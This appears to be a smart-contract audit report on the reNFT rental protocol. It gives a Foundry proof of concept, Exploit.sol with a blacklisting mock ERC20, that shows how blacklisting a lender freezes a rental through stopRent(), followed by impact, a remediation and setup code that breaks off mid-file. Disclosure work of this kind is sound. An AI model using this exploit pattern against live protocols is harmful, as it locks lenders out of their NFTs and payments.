if (seaportItemType == SeaportItemType.ERC20) {
return RentalItemType.ERC20;
} else if (seaportItemType == SeaportItemType.ERC721) {
return RentalItemType.ERC721;
} else if (seaportItemType == SeaportItemType.ERC1155) {
return RentalItemType.ERC1155;
} else {
revert("seaport item type not supported");
}
}
function _createRentalOrder(
OrderToFulfill memory orderToFulfill
) internal view returns (RentalOrder memory rentalOrder) {
// get the order parameters
OrderParameters memory parameters = orderToFulfill.advancedOrder.parameters;
// get the payload
RentPayload memory payload = orderToFulfill.payload;
// get the metadata
OrderMetadata memory metadata = payload.metadata;
// construct a rental order
rentalOrder = RentalOrder({
seaportOrderHash: orderToFulfill.orderHash,
items: new Item[](parameters.offer.length + parameters.consideration.length),
hooks: metadata.hooks,
orderType: metadata.orderType,
lender: parameters.offerer,
renter: payload.intendedFulfiller,
rentalWallet: payload.fulfillment.recipient,
startTimestamp: block.timestamp,
endTimestamp: block.timestamp + metadata.rentDuration
});
// for each new offer item being rented, create a new item struct to add to the rental order
for (uint256 i = 0; i < parameters.offer.length; i++) {
// PAYEE orders cannot have offer items
require(
metadata.orderType != OrderType.PAYEE,
"TEST: cannot have offer items in PAYEE order"
);
// get the offer item
OfferItem memory offerItem = parameters.offer[i];
// determine the item type
RentalItemType itemType = _seaportItemTypeToRentalItemType(offerItem.itemType);
// determine which entity the payment will settle to
SettleTo settleTo = offerItem.itemType == SeaportItemType.ERC20
? SettleTo.RENTER
: SettleTo.LENDER;
// create a new rental item
rentalOrder.items[i] = Item({
itemType: itemType,
settleTo: settleTo,
token: offerItem.token,
amount: offerItem.startAmount,
identifier: offerItem.identifierOrCriteria
});
}
// for each consideration item in return, create a new item struct to add to the rental order
for (uint256 i = 0; i < parameters.consideration.length; i++) {
// PAY orders cannot have consideration items
require(
metadata.orderType != OrderType.PAY,
"TEST: cannot have consideration items in PAY order"
);
// get the offer item
ConsiderationItem memory considerationItem = parameters.consideration[i];
// determine the item type
RentalItemType itemType = _seaportItemTypeToRentalItemType(
considerationItem.itemType
);
// determine which entity the payment will settle to
SettleTo settleTo = metadata.orderType == OrderType.PAYEE &&
considerationItem.itemType == SeaportItemType.ERC20
? SettleTo.RENTER
: SettleTo.LENDER;
// calculate item index offset
uint256 itemIndex = i + parameters.offer.length;
// create a new payment item
rentalOrder.items[itemIndex] = Item({
itemType: itemType,
settleTo: settleTo,
token: considerationItem.token,
amount: considerationItem.startAmount,
identifier: considerationItem.identifierOrCriteria
});
}
}
function _signProtocolOrder(
uint256 signerPrivateKey,
bytes32 payloadHash
) internal view returns (bytes memory signature) {
// fetch domain separator from create policy
bytes32 domainSeparator = create.domainSeparator();
// sign the EIP-712 digest
(uint8 v, bytes32 r, bytes32 s) = vm.sign(
signerPrivateKey,
domainSeparator.toTypedDataHash(payloadHash)
);
// encode the signature
signature = abi.encodePacked(r, s, v);
}
/////////////////////////////////////////////////////////////////////////////////
// Fulfillment Amendments //
/////////////////////////////////////////////////////////////////////////////////
function withFulfiller(ProtocolAccount memory _fulfiller) internal {
fulfiller = _fulfiller;
}
function withRecipient(address _recipient) internal {
seaportRecipient = _recipient;
}
function withAdvancedOrder(
AdvancedOrder memory _advancedOrder,
uint256 orderIndex
) internal {
// get a storage pointer to the order to fulfill
OrderToFulfill storage orderToFulfill = ordersToFulfill[orderIndex];
// set the new advanced order
_createAdvancedOrder(orderToFulfill.advancedOrder, _advancedOrder);
}
function withSeaportMatchOrderFulfillment(Fulfillment memory _fulfillment) internal {
// get a pointer to a new seaport fulfillment
Fulfillment storage fulfillment = seaportMatchOrderFulfillments.push();
// set the fulfillment
_createSeaportFulfillment(
fulfillment,
Fulfillment({
offerComponents: _fulfillment.offerComponents,
considerationComponents: _fulfillment.considerationComponents
})
);
}
function withSeaportMatchOrderFulfillments(
Fulfillment[] memory fulfillments
) internal {
// reset all current seaport match order fulfillments
resetSeaportMatchOrderFulfillments();
// add the new offer items to storage
for (uint256 i = 0; i < fulfillments.length; i++) {
// get a pointer to a new seaport fulfillment
Fulfillment storage fulfillment = seaportMatchOrderFulfillments.push();
// set the fulfillment
_createSeaportFulfillment(
fulfillment,
Fulfillment({
offerComponents: fulfillments[i].offerComponents,
considerationComponents: fulfillments[i].considerationComponents
})
);
}
}
function withBaseOrderFulfillmentComponents() internal {
// create offer fulfillments. We need to specify which offer items can be aggregated
// into one transaction. For example, 2 different orders where the same seller is offering
// the same item in each.
//
// Since BASE orders will only contain ERC721 offer items, these cannot be aggregated. So, a separate fulfillment
// is created for each order.
for (uint256 i = 0; i < ordersToFulfill.length; i++) {
// get a pointer to a new offer fulfillment array. This array will contain indexes of
// orders and items which are all grouped on whether they can be combined in a single transferFrom()
FulfillmentComponent[] storage offerFulfillments = seaportOfferFulfillments
.push();
// number of offer items in the order
uint256 offerItemsInOrder = ordersToFulfill[i]
.advancedOrder
.parameters
.offer
.length;
// add a single fulfillment component for each offer item in the order
for (uint256 j = 0; j < offerItemsInOrder; j++) {
offerFulfillments.push(
FulfillmentComponent({orderIndex: i, itemIndex: j})
);
}
}
// create consideration fulfillments. We need to specify which consideration items can be aggregated
// into one transaction. For example, 3 different orders where the same fungible consideration items are
// expected in return.
//
// get a pointer to a new offer fulfillment array. This array will contain indexes of
// orders and items which are all grouped on whether they can be combined in a single transferFrom()
FulfillmentComponent[]
storage considerationFulfillments = seaportConsiderationFulfillments.push();
// BASE orders will only contain ERC20 items, these are fungible and are candidates for aggregation. Because
// all of these BASE orders will be fulfilled by the same EOA, and all ERC20 consideration items are going to the
// ESCRW contract, the consideration items can be aggregated. In other words, Seaport will only make a single transfer
// of ERC20 tokens from the fulfiller EOA to the payment escrow contract.
//
// put all fulfillments into one which can be an aggregated transfer
for (uint256 i = 0; i < ordersToFulfill.length; i++) {
considerationFulfillments.push(
FulfillmentComponent({orderIndex: i, itemIndex: 0})
);
}
}
function withLinkedPayAndPayeeOrders(
uint256 payOrderIndex,
uint256 payeeOrderIndex
) internal {
// get the PAYEE order
OrderParameters memory payeeOrder = ordersToFulfill[payeeOrderIndex]
.advancedOrder
.parameters;
// For each consideration item in the PAYEE order, a fulfillment should be
// constructed with a corresponding item from the PAY order's offer items.
for (uint256 i = 0; i < payeeOrder.consideration.length; ++i) {
// define the offer components
FulfillmentComponent[] memory offerComponents = new FulfillmentComponent[](1);
offerComponents[0] = FulfillmentComponent({
orderIndex: payOrderIndex,
itemIndex: i
});
// define the consideration components
FulfillmentComponent[]
memory considerationComponents = new FulfillmentComponent[](1);
considerationComponents[0] = FulfillmentComponent({
orderIndex: payeeOrderIndex,
itemIndex: i
});
// get a pointer to a new seaport fulfillment
Fulfillment storage fulfillment = seaportMatchOrderFulfillments.push();
// set the fulfillment
_createSeaportFulfillment(
fulfillment,
Fulfillment({
offerComponents: offerComponents,
considerationComponents: considerationComponents
})
);
}
}
function resetFulfiller() internal {
delete fulfiller;
}
function resetOrdersToFulfill() internal {
delete ordersToFulfill;
}
function resetSeaportMatchOrderFulfillments() internal {
delete seaportMatchOrderFulfillments;
}
/////////////////////////////////////////////////////////////////////////////////
// Fulfillment Finalization //
/////////////////////////////////////////////////////////////////////////////////
function _finalizePayOrderFulfillment(
bytes memory expectedError
)
private
returns (RentalOrder memory payRentalOrder, RentalOrder memory payeeRentalOrder)
{
// get the orders to fulfill
OrderToFulfill memory payOrder = ordersToFulfill[0];
OrderToFulfill memory payeeOrder = ordersToFulfill[1];
// create rental orders
payRentalOrder = _createRentalOrder(payOrder);
payeeRentalOrder = _createRentalOrder(payeeOrder);
// expect an error if error data was provided
if (expectedError.length != 0) {
vm.expectRevert(expectedError);
}
// otherwise, expect the relevant event to be emitted.
else {
vm.expectEmit({emitter: address(create)});
emit Events.RentalOrderStarted(
create.getRentalOrderHash(payRentalOrder),
payOrder.payload.metadata.emittedExtraData,
payRentalOrder.seaportOrderHash,
payRentalOrder.items,
payRentalOrder.hooks,
payRentalOrder.orderType,
payRentalOrder.lender,
payRentalOrder.renter,
payRentalOrder.rentalWallet,
payRentalOrder.startTimestamp,
payRentalOrder.endTimestamp
);
}
// the offerer of the PAYEE order fulfills the orders.
vm.prank(fulfiller.addr);
// fulfill the orders
seaport.matchAdvancedOrders(
_deconstructOrdersToFulfill(),
new CriteriaResolver[](0),
seaportMatchOrderFulfillments,
seaportRecipient
);
// clear structs
resetFulfiller();
resetOrdersToFulfill();
resetSeaportMatchOrderFulfillments();
}
function finalizePayOrderFulfillment()
internal
returns (RentalOrder memory payRentalOrder, RentalOrder memory payeeRentalOrder)
{
(payRentalOrder, payeeRentalOrder) = _finalizePayOrderFulfillment(bytes(""));
}
function finalizePayOrderFulfillmentWithError(
bytes memory expectedError
)
internal
returns (RentalOrder memory payRentalOrder, RentalOrder memory payeeRentalOrder)
{
(payRentalOrder, payeeRentalOrder) = _finalizePayOrderFulfillment(expectedError);
}
function _finalizeBaseOrderFulfillment(
bytes memory expectedError
) private returns (RentalOrder memory rentalOrder) {
// get the order to fulfill
OrderToFulfill memory baseOrder = ordersToFulfill[0];
// create a rental order
rentalOrder = _createRentalOrder(baseOrder);
// expect an error if error data was provided
if (expectedError.length != 0) {
vm.expectRevert(expectedError);
}
// otherwise, expect the relevant event to be emitted.
else {
vm.expectEmit({emitter: address(create)});
emit Events.RentalOrderStarted(
create.getRentalOrderHash(rentalOrder),
baseOrder.payload.metadata.emittedExtraData,
rentalOrder.seaportOrderHash,
rentalOrder.items,
rentalOrder.hooks,
rentalOrder.orderType,
rentalOrder.lender,
rentalOrder.renter,
rentalOrder.rentalWallet,
rentalOrder.startTimestamp,
rentalOrder.endTimestamp
);
}
// the owner of the rental wallet fulfills the advanced order, and marks the rental wallet
// as the recipient
vm.prank(fulfiller.addr);
seaport.fulfillAdvancedOrder(
baseOrder.advancedOrder,
new CriteriaResolver[](0),
conduitKey,
seaportRecipient
);
// clear structs
resetFulfiller();
resetOrdersToFulfill();
resetSeaportMatchOrderFulfillments();
}
function finalizeBaseOrderFulfillment()
internal
returns (RentalOrder memory rentalOrder)
{
rentalOrder = _finalizeBaseOrderFulfillment(bytes(""));
}
function finalizeBaseOrderFulfillmentWithError(
bytes memory expectedError
) internal returns (RentalOrder memory rentalOrder) {
rentalOrder = _finalizeBaseOrderFulfillment(expectedError);
}
function finalizeBaseOrdersFulfillment()
internal
returns (RentalOrder[] memory rentalOrders)
{
// Instantiate rental orders
uint256 numOrdersToFulfill = ordersToFulfill.length;
rentalOrders = new RentalOrder[](numOrdersToFulfill);
// convert each order to fulfill into a rental order
for (uint256 i = 0; i < numOrdersToFulfill; i++) {
rentalOrders[i] = _createRentalOrder(ordersToFulfill[i]);
}
// Expect the relevant events to be emitted.
for (uint256 i = 0; i < rentalOrders.length; i++) {
vm.expectEmit({emitter: address(create)});
emit Events.RentalOrderStarted(
create.getRentalOrderHash(rentalOrders[i]),
ordersToFulfill[i].payload.metadata.emittedExtraData,
rentalOrders[i].seaportOrderHash,
rentalOrders[i].items,
rentalOrders[i].hooks,
rentalOrders[i].orderType,
rentalOrders[i].lender,
rentalOrders[i].renter,
rentalOrders[i].rentalWallet,
rentalOrders[i].startTimestamp,
rentalOrders[i].endTimestamp
);
}
// the owner of the rental wallet fulfills the advanced orders, and marks the rental wallet
// as the recipient
vm.prank(fulfiller.addr);
seaport.fulfillAvailableAdvancedOrders(
_deconstructOrdersToFulfill(),
new CriteriaResolver[](0),
seaportOfferFulfillments,
seaportConsiderationFulfillments,
conduitKey,
seaportRecipient,
ordersToFulfill.length
);
// clear structs
resetFulfiller();
resetOrdersToFulfill();
resetSeaportMatchOrderFulfillments();
}
function finalizePayOrdersFulfillment()
internal
returns (RentalOrder[] memory rentalOrders)
{
// Instantiate rental orders
uint256 numOrdersToFulfill = ordersToFulfill.length;
rentalOrders = new RentalOrder[](numOrdersToFulfill);
// convert each order to fulfill into a rental order
for (uint256 i = 0; i < numOrdersToFulfill; i++) {
rentalOrders[i] = _createRentalOrder(ordersToFulfill[i]);
}
// Expect the relevant events to be emitted.
for (uint256 i = 0; i < rentalOrders.length; i++) {
// only expect the event if its a PAY order
if (ordersToFulfill[i].payload.metadata.orderType == OrderType.PAY) {
vm.expectEmit({emitter: address(create)});
emit Events.RentalOrderStarted(
create.getRentalOrderHash(rentalOrders[i]),
ordersToFulfill[i].payload.metadata.emittedExtraData,
rentalOrders[i].seaportOrderHash,
rentalOrders[i].items,
rentalOrders[i].hooks,
rentalOrders[i].orderType,
rentalOrders[i].lender,
rentalOrders[i].renter,
rentalOrders[i].rentalWallet,
rentalOrders[i].startTimestamp,
rentalOrders[i].endTimestamp
);
}
}
// the offerer of the PAYEE order fulfills the orders. For this order, it shouldn't matter
// what the recipient address is
vm.prank(fulfiller.addr);
seaport.matchAdvancedOrders(
_deconstructOrdersToFulfill(),
new CriteriaResolver[](0),
seaportMatchOrderFulfillments,
seaportRecipient
);
// clear structs
resetFulfiller();
resetOrdersToFulfill();
resetSeaportMatchOrderFulfillments();
}
function _deconstructOrdersToFulfill()
private
view
returns (AdvancedOrder[] memory advancedOrders)
{
// get the length of the orders to fulfill
advancedOrders = new AdvancedOrder[](ordersToFulfill.length);
// build up the advanced orders
for (uint256 i = 0; i < ordersToFulfill.length; i++) {
advancedOrders[i] = ordersToFulfill[i].advancedOrder;
}
}
}
contract SetupReNFT is OrderFulfiller {}
Exploit.sol
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.8.20;
import {
ConsiderationItem,
Order,
FulfillmentComponent,
Fulfillment,
ItemType as SeaportItemType
} from "@seaport-types/lib/ConsiderationStructs.sol";
import {ItemType} from "@seaport-types/lib/ConsiderationEnums.sol";
import {ConsiderationItemLib} from "@seaport-sol/SeaportSol.sol";
import {OrderType, OrderMetadata, RentalOrder} from "@src/libraries/RentalStructs.sol";
import {Errors} from "@src/libraries/Errors.sol";
import {SetupReNFT} from "./SetupExploit.sol";
import {Assertions} from "@test/utils/Assertions.sol";
import {Constants} from "@test/utils/Constants.sol";
import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol";
import {Enum} from "@safe-contracts/common/Enum.sol";
import "forge-std/console.sol";
contract Exploit is SetupReNFT, Assertions, Constants {
using ConsiderationItemLib for ConsiderationItem;
function test_BlacklistERC20Exploit() public {
/** -------- Create a mock ERC20 token with blacklists -------- */
BlacklistERC20 blacklistERC20 = new BlacklistERC20(10000000);
// Give bob (the borrower) 10,000 tokens.
blacklistERC20.mint(bob.addr, 10000);
// Bob approves seaport conduit to spend 10k tokens on behalf of him.
vm.prank(bob.addr);
blacklistERC20.approve(address(conduit), 10000);
/** -------- Create an order with the mock blacklist token as a payment method -------- */
createOrder({
offerer: alice,
orderType: OrderType.BASE,
erc721Offers: 1,
erc1155Offers: 0,
erc20Offers: 0,
erc721Considerations: 0,
erc1155Considerations: 0,
erc20Considerations: 1
});
// Remove the pre-inserted consideration item (which is inserted by the tests)
popConsiderationItem();
// Set the mock blacklist erc20 token as the consideration item
withConsiderationItem(
ConsiderationItemLib
.empty()
.withRecipient(address(ESCRW))
.withItemType(ItemType.ERC20)
.withToken(address(blacklistERC20))
.withStartAmount(10000)
.withEndAmount(10000)
);
// Finalize the order creation
(
Order memory order,
bytes32 orderHash,
OrderMetadata memory metadata
) = finalizeOrder();
// create an order fulfillment
createOrderFulfillment({
_fulfiller: bob,
order: order,
orderHash: orderHash,
metadata: metadata
});
// finalize the base order fulfillment
RentalOrder memory rentalOrder = finalizeBaseOrderFulfillment();
// get the rental order hash
bytes32 rentalOrderHash = create.getRentalOrderHash(rentalOrder);
// assert that the rental order was stored
assertEq(STORE.orders(rentalOrderHash), true);
// assert that the token is in storage
assertEq(STORE.isRentedOut(address(bob.safe), address(erc721s[0]), 0), true);
/** -------------- Ensure everything is correct -------------- */
// assert that the fulfiller made a payment
assertEq(blacklistERC20.balanceOf(bob.addr), uint256(0));
// assert that a payment was made to the escrow contract
assertEq(blacklistERC20.balanceOf(address(ESCRW)), uint256(10000));
// assert that a payment was synced properly in the escrow contract
assertEq(ESCRW.balanceOf(address(blacklistERC20)), uint256(10000));
// assert that the ERC721 is in the rental wallet of the fulfiller
assertEq(erc721s[0].ownerOf(0), address(bob.safe));
/** -------------- Simulate the lender's address being blocked in the blacklist ERC20 token -------------- */
blacklistERC20.addAddressToBlacklist(alice.addr);
/** -------------- The lender (alice) tries to stop rental after time has elapsed, but fails. -------------- */
// Speed up in time past the rental expiration.
vm.warp(block.timestamp + 75000);
// Now Alice will try to stop the rental but will fail.
vm.prank(alice.addr);
// We expect the `stopRent()` call to revert.
vm.expectRevert(
abi.encodeWithSelector(
Errors.PaymentEscrowModule_PaymentTransferFailed.selector,
address(blacklistERC20),
alice.addr,
10000
)
);
stop.stopRent(rentalOrder);
}
}
contract BlacklistERC20 {
string public constant name = "BlacklistERC20";
string public constant symbol = "BSC";
uint8 public constant decimals = 18;
address public admin;
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
event Transfer(address indexed from, address indexed to, uint tokens);
error AddressIsBlacklisted(address blacklistedAddr);
mapping(address => bool) blacklist;
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
uint256 totalSupply_;
constructor(uint256 total) {
totalSupply_ = total;
balances[msg.sender] = totalSupply_;
admin = msg.sender;
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address tokenOwner) public view returns (uint) {
return balances[tokenOwner];
}
function mint(address addr, uint256 amount) external onlyAdmin {
balances[addr] += amount;
}
function transfer(address receiver, uint numTokens) public returns (bool) {
if (blacklist[msg.sender]) {
revert AddressIsBlacklisted(msg.sender);
} else if (blacklist[receiver]) {
revert AddressIsBlacklisted(receiver);
}
require(numTokens <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender] - numTokens;
balances[receiver] = balances[receiver] + numTokens;
emit Transfer(msg.sender, receiver, numTokens);
return true;
}
function approve(address delegate, uint numTokens) public returns (bool) {
if (blacklist[msg.sender]) {
revert AddressIsBlacklisted(msg.sender);
}
allowed[msg.sender][delegate] = numTokens;
emit Approval(msg.sender, delegate, numTokens);
return true;
}
function allowance(address owner, address delegate) public view returns (uint) {
return allowed[owner][delegate];
}
function transferFrom(address owner, address buyer, uint numTokens) public returns (bool) {
if (blacklist[owner] || blacklist[buyer]) {
revert AddressIsBlacklisted(owner);
}
require(numTokens <= balances[owner]);
require(numTokens <= allowed[owner][msg.sender]);
balances[owner] = balances[owner] - numTokens;
allowed[owner][msg.sender] = allowed[owner][msg.sender] - numTokens;
balances[buyer] = balances[buyer] + numTokens;
emit Transfer(owner, buyer, numTokens);
return true;
}
function addAddressToBlacklist(address addrToBlacklist) external onlyAdmin {
blacklist[addrToBlacklist] = true;
}
function removeAddressToBlacklist(address addrToUnblock) external onlyAdmin {
blacklist[addrToUnblock] = false;
}
modifier onlyAdmin {
require(admin == msg.sender);
_;
}
}
Impact
The rental will be permanently frozen. The borrower will get to keep the NFT he borrowed from the lender forever, and the lender won't even be able to get the funds he should have received in return for renting the NFT to the borrower.
Remediation
Let the lender specify an address he wants to receive the ERC20 tokens at, when he tries to stop the rental.
Lines of code
https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Stop.sol#L265
Vulnerability details
Pre-requisite knowledge & an overview of the features in question
The Vulnerability & Exploitation Steps
The vulnerability exists in
stopRent()
function in the Stop.sol contract.stopRent()
is the function responsible for stopping rental orders. For example, if its aBASE
order, and it has expired, then anybody can call this function to stop the rental.Once the function is called, it'll call the function
_reclaimRentedItems()
which will reclaim the rented items, in other words, it'll move the assets from the borrower's rental safe to the lender. Then it will callsettlePayment()
in the PaymentEscrow.sol contract and give the his share of the ERC20 tokens.The problem is that the
stopRent()
does not let the lender specify an address to receive the ERC20 tokens at after stopping the rental. This will cause a big issue if the lender's address was added to the token's blacklist for any reason. If this happened, then the rental will be permanently frozen. The borrower will get to keep the NFT he borrowed from the lender forever, and the lender won't even be able to get the funds he should have received in return for renting the NFT to the borrower.This issue would occur because
stopRent()
would revert everytime the lender calls it, even after the rental has expired. It would revert becausestopRent()
will try to callsettlePayment()
to send the lender his payment, butsettlePayment()
will revert when it tries to transfer to the lender the ERC20 tokens since his address is blacklisted.Proof of concept
To run the PoC, you'll need to do the following:
SetupExploit.sol
-> Sets up everything from seaport, gnosis, reNFT contractsExploit.sol
-> The actual exploit PoC which relies onSetupExploit.sol
as a base.forge test --match-contract Exploit --match-test test_BlacklistERC20Exploit -vvv
Note: All of my 7 PoCs throughout my reports include the
SetupExploit.sol
. Please do not rely on the previousSetupExploit.sol
file if you already had one from another PoC run in the tests/ folder. In some PoCs, there are slight modifications done in that file to properly set up the test infrastructure needed for the exploitThe files:
SetupExploit.sol
// SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.20; import { ConsiderationItem, OfferItem, OrderParameters, OrderComponents, Order, AdvancedOrder, ItemType, ItemType as SeaportItemType, CriteriaResolver, OrderType as SeaportOrderType, Fulfillment, FulfillmentComponent } from "@seaport-types/lib/ConsiderationStructs.sol"; import { AdvancedOrderLib, ConsiderationItemLib, FulfillmentComponentLib, FulfillmentLib, OfferItemLib, OrderComponentsLib, OrderLib, OrderParametersLib, SeaportArrays, ZoneParametersLib } from "@seaport-sol/SeaportSol.sol"; import { OrderMetadata, OrderType, OrderFulfillment, RentPayload, RentalOrder, Item, SettleTo, ItemType as RentalItemType } from "@src/libraries/RentalStructs.sol"; import {ECDSA} from "@openzeppelin-contracts/utils/cryptography/ECDSA.sol"; import {OrderMetadata, OrderType, Hook} from "@src/libraries/RentalStructs.sol"; import {Vm} from "@forge-std/Vm.sol"; import {Assertions} from "@test/utils/Assertions.sol"; import {Constants} from "@test/utils/Constants.sol"; import {LibString} from "@solady/utils/LibString.sol"; import {SafeL2} from "@safe-contracts/SafeL2.sol"; import {BaseExternal} from "@test/fixtures/external/BaseExternal.sol"; import {Create2Deployer} from "@src/Create2Deployer.sol"; import {Kernel, Actions} from "@src/Kernel.sol"; import {Storage} from "@src/modules/Storage.sol"; import {PaymentEscrow} from "@src/modules/PaymentEscrow.sol"; import {Create} from "@src/policies/Create.sol"; import {Stop} from "@src/policies/Stop.sol"; import {Factory} from "@src/policies/Factory.sol"; import {Admin} from "@src/policies/Admin.sol"; import {Guard} from "@src/policies/Guard.sol"; import {toRole} from "@src/libraries/KernelUtils.sol"; import {Proxy} from "@src/proxy/Proxy.sol"; import {Events} from "@src/libraries/Events.sol"; import {ProtocolAccount} from "@test/utils/Types.sol"; import {MockERC20} from "@test/mocks/tokens/standard/MockERC20.sol"; import {MockERC721} from "@test/mocks/tokens/standard/MockERC721.sol"; import {MockERC1155} from "@test/mocks/tokens/standard/MockERC1155.sol"; import {SafeUtils} from "@test/utils/GnosisSafeUtils.sol"; import {Enum} from "@safe-contracts/common/Enum.sol"; import {ISafe} from "@src/interfaces/ISafe.sol"; // Deploys all V3 protocol contracts contract Protocol is BaseExternal { // Kernel Kernel public kernel; // Modules Storage public STORE; PaymentEscrow public ESCRW; // Module implementation addresses Storage public storageImplementation; PaymentEscrow public paymentEscrowImplementation; // Policies Create public create; Stop public stop; Factory public factory; Admin public admin; Guard public guard; // Protocol accounts Vm.Wallet public rentalSigner; Vm.Wallet public deployer; // protocol constants bytes12 public protocolVersion; bytes32 public salt; function _deployKernel() internal { // abi encode the kernel bytecode and constructor arguments bytes memory kernelInitCode = abi.encodePacked( type(Kernel).creationCode, abi.encode(deployer.addr, deployer.addr) ); // Deploy kernel contract vm.prank(deployer.addr); kernel = Kernel(create2Deployer.deploy(salt, kernelInitCode)); // label the contract vm.label(address(kernel), "kernel"); } function _deployStorageModule() internal { // abi encode the storage bytecode and constructor arguments // for the implementation contract bytes memory storageImplementationInitCode = abi.encodePacked( type(Storage).creationCode, abi.encode(address(0)) ); // Deploy storage implementation contract vm.prank(deployer.addr); storageImplementation = Storage( create2Deployer.deploy(salt, storageImplementationInitCode) ); // abi encode the storage bytecode and initialization arguments // for the proxy contract bytes memory storageProxyInitCode = abi.encodePacked( type(Proxy).creationCode, abi.encode( address(storageImplementation), abi.encodeWithSelector( Storage.MODULE_PROXY_INSTANTIATION.selector, address(kernel) ) ) ); // Deploy storage proxy contract vm.prank(deployer.addr); STORE = Storage(create2Deployer.deploy(salt, storageProxyInitCode)); // label the contracts vm.label(address(STORE), "STORE"); vm.label(address(storageImplementation), "STORE_IMPLEMENTATION"); } function _deployPaymentEscrowModule() internal { // abi encode the payment escrow bytecode and constructor arguments // for the implementation contract bytes memory paymentEscrowImplementationInitCode = abi.encodePacked( type(PaymentEscrow).creationCode, abi.encode(address(0)) ); // Deploy payment escrow implementation contract vm.prank(deployer.addr); paymentEscrowImplementation = PaymentEscrow( create2Deployer.deploy(salt, paymentEscrowImplementationInitCode) ); // abi encode the payment escrow bytecode and initialization arguments // for the proxy contract bytes memory paymentEscrowProxyInitCode = abi.encodePacked( type(Proxy).creationCode, abi.encode( address(paymentEscrowImplementation), abi.encodeWithSelector( PaymentEscrow.MODULE_PROXY_INSTANTIATION.selector, address(kernel) ) ) ); // Deploy payment escrow contract vm.prank(deployer.addr); ESCRW = PaymentEscrow(create2Deployer.deploy(salt, paymentEscrowProxyInitCode)); // label the contracts vm.label(address(ESCRW), "ESCRW"); vm.label(address(paymentEscrowImplementation), "ESCRW_IMPLEMENTATION"); } function _deployCreatePolicy() internal { // abi encode the create policy bytecode and constructor arguments bytes memory createInitCode = abi.encodePacked( type(Create).creationCode, abi.encode(address(kernel)) ); // Deploy create rental policy contract vm.prank(deployer.addr); create = Create(create2Deployer.deploy(salt, createInitCode)); // label the contract vm.label(address(create), "CreatePolicy"); } function _deployStopPolicy() internal { // abi encode the stop policy bytecode and constructor arguments bytes memory stopInitCode = abi.encodePacked( type(Stop).creationCode, abi.encode(address(kernel)) ); // Deploy stop rental policy contract vm.prank(deployer.addr); stop = Stop(create2Deployer.deploy(salt, stopInitCode)); // label the contract vm.label(address(stop), "StopPolicy"); } function _deployAdminPolicy() internal { // abi encode the admin policy bytecode and constructor arguments bytes memory adminInitCode = abi.encodePacked( type(Admin).creationCode, abi.encode(address(kernel)) ); // Deploy admin policy contract vm.prank(deployer.addr); admin = Admin(create2Deployer.deploy(salt, adminInitCode)); // label the contract vm.label(address(admin), "AdminPolicy"); } function _deployGuardPolicy() internal { // abi encode the guard policy bytecode and constructor arguments bytes memory guardInitCode = abi.encodePacked( type(Guard).creationCode, abi.encode(address(kernel)) ); // Deploy guard policy contract vm.prank(deployer.addr); guard = Guard(create2Deployer.deploy(salt, guardInitCode)); // label the contract vm.label(address(guard), "GuardPolicy"); } function _deployFactoryPolicy() internal { // abi encode the factory policy bytecode and constructor arguments bytes memory factoryInitCode = abi.encodePacked( type(Factory).creationCode, abi.encode( address(kernel), address(stop), address(guard), address(tokenCallbackHandler), address(safeProxyFactory), address(safeSingleton) ) ); // Deploy factory policy contract vm.prank(deployer.addr); factory = Factory(create2Deployer.deploy(salt, factoryInitCode)); // label the contract vm.label(address(factory), "FactoryPolicy"); } function _setupKernel() internal { // Start impersonating the deployer vm.startPrank(deployer.addr); // Install modules kernel.executeAction(Actions.InstallModule, address(STORE)); kernel.executeAction(Actions.InstallModule, address(ESCRW)); // Approve policies kernel.executeAction(Actions.ActivatePolicy, address(create)); kernel.executeAction(Actions.ActivatePolicy, address(stop)); kernel.executeAction(Actions.ActivatePolicy, address(factory)); kernel.executeAction(Actions.ActivatePolicy, address(guard)); kernel.executeAction(Actions.ActivatePolicy, address(admin)); // Grant `seaport` role to seaport protocol kernel.grantRole(toRole("SEAPORT"), address(seaport)); // Grant `signer` role to the protocol signer to sign off on create payloads kernel.grantRole(toRole("CREATE_SIGNER"), rentalSigner.addr); // Grant 'admin_admin` role to the address which can conduct admin operations on the protocol kernel.grantRole(toRole("ADMIN_ADMIN"), deployer.addr); // Grant 'guard_admin` role to the address which can toggle hooks kernel.grantRole(toRole("GUARD_ADMIN"), deployer.addr); // Grant `stop_admin` role to the address which can skim funds from the payment escrow kernel.grantRole(toRole("STOP_ADMIN"), deployer.addr); // Stop impersonating the deployer vm.stopPrank(); } function setUp() public virtual override { // setup dependencies super.setUp(); // create the rental signer address and private key rentalSigner = vm.createWallet("rentalSigner"); // create the deployer address and private key deployer = vm.createWallet("deployer"); // contract salts (using 0x000000000000000000000100 to represent a version 1.0.0 of each contract) protocolVersion = 0x000000000000000000000100; salt = create2Deployer.generateSaltWithSender(deployer.addr, protocolVersion); // deploy kernel _deployKernel(); // Deploy payment escrow _deployPaymentEscrowModule(); // Deploy rental storage _deployStorageModule(); // deploy create policy _deployCreatePolicy(); // deploy stop policy _deployStopPolicy(); // deploy admin policy _deployAdminPolicy(); // Deploy guard policy _deployGuardPolicy(); // deploy rental factory _deployFactoryPolicy(); // intialize the kernel _setupKernel(); } } // Creates test accounts to interact with the V3 protocol // Borrowed from test/fixtures/protocol/AccountCreator contract AccountCreator is Protocol { // Protocol accounts for testing ProtocolAccount public alice; ProtocolAccount public bob; ProtocolAccount public carol; ProtocolAccount public dan; ProtocolAccount public eve; ProtocolAccount public attacker; // Mock tokens for testing MockERC20[] public erc20s; MockERC721[] public erc721s; MockERC1155[] public erc1155s; function setUp() public virtual override { super.setUp(); // deploy 3 erc20 tokens, 3 erc721 tokens, and 3 erc1155 tokens _deployTokens(3); // instantiate all wallets and deploy rental safes for each alice = _fundWalletAndDeployRentalSafe("alice"); bob = _fundWalletAndDeployRentalSafe("bob"); carol = _fundWalletAndDeployRentalSafe("carol"); dan = _fundWalletAndDeployRentalSafe("dan"); eve = _fundWalletAndDeployRentalSafe("eve"); attacker = _fundWalletAndDeployRentalSafe("attacker"); } function _deployTokens(uint256 numTokens) internal { for (uint256 i; i < numTokens; i++) { _deployErc20Token(); _deployErc721Token(); 